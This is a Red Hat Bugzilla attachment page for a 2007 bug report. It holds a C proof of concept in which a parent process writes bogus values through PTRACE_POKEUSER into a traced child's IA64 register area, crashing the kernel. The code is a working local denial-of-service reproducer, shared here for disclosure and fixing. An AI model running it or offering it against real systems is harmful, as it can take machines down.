Login
[x]
Log in using an account from:
Fedora Account System
Red Hat Associate
Red Hat Customer
Or login using a Red Hat Bugzilla account
Forgot Password
Login:
Hide Forgot
Create an Account
Red Hat Bugzilla – Attachment 158614 Details for
Bug 247174
bogus arguments to PTRACE_POKEUSER makes IA64 kernel crash
[?]
New
Simple Search
Advanced Search
My Links
Browse
Requests
Reports
Current State
Search
Tabular reports
Graphical reports
Duplicates
Other Reports
User Changes
Plotly Reports
Bug Status
Bug Severity
Non-Defaults
|
Product Dashboard
Help
Page Help!
Bug Writing Guidelines
What's new
Browser Support Policy
5.0.4.rh83 Release notes
FAQ
Guides index
User guide
Web Services
Contact
Legal
This site requires JavaScript to be enabled to function correctly, please enable it.
Running this program will crash the system.
ptracebug.c (text/plain), 1.50 KB, created by
Robert Cohn
on 2007-07-05 19:55:43 UTC
(
hide
)
Description:
Running this program will crash the system.
Filename:
MIME Type:
Creator:
Robert Cohn
Created:
2007-07-05 19:55:43 UTC
Size:
1.50 KB
patch
obsolete
>#include <unistd.h> >#include <stdlib.h> >#include <assert.h> >#include <sys/ptrace.h> >#include <sys/types.h> >#include <sys/wait.h> >#include <stdio.h> > >#include <asm/ptrace_offsets.h> > >pid_t processB; > >void ProcessB() >{ > fprintf(stderr,"ProcessB (%d) doing TRACEME\n", getpid()); > > if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) > { > fprintf(stderr,"Error in TRACEME\n"); > } > > fprintf(stderr,"ProcessB (%d) doing exec\n", getpid()); > > execl("/bin/ls", "ls", "a", NULL); >} > >void Poke() >{ > int i; > > for (i = PT_CR_IPSR/sizeof(long); i <= PT_F9/sizeof(long); i++) > { > int ret = ptrace(PTRACE_POKEUSER, processB, sizeof(long) * i, 0xdeadbeef); > } >} > > >// ProcessC attaches to ProcessB with ptrace, lets ProcessB resume, and detaches >void ProcessA() >{ > fprintf(stderr,"ProcessA (%d) waiting for ProcessB (%d)\n",getpid(),processB); > > pid_t waitResult = waitpid(processB, 0, WUNTRACED); > assert(waitResult == processB); > > Poke(); > > fprintf(stderr,"ProcessA (%d) CONT ProcessB (%d)\n", getpid(), processB); > > long contResult = ptrace(PTRACE_CONT, processB, (char *)1, 0); > assert(contResult == 0); > > fprintf(stderr,"ProcessA (%d) waiting for ProcessB (%d)\n",getpid(),processB); > waitResult = waitpid(processB, 0, WUNTRACED); > assert(waitResult == processB); > > fprintf(stderr,"ProcessA exiting\n"); > > exit(0); >} > > >main() >{ > processB = fork(); > if (processB != 0) > { > ProcessA(); > } > else > { > ProcessB(); > } >} > >
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 247174
: 158614 |
161713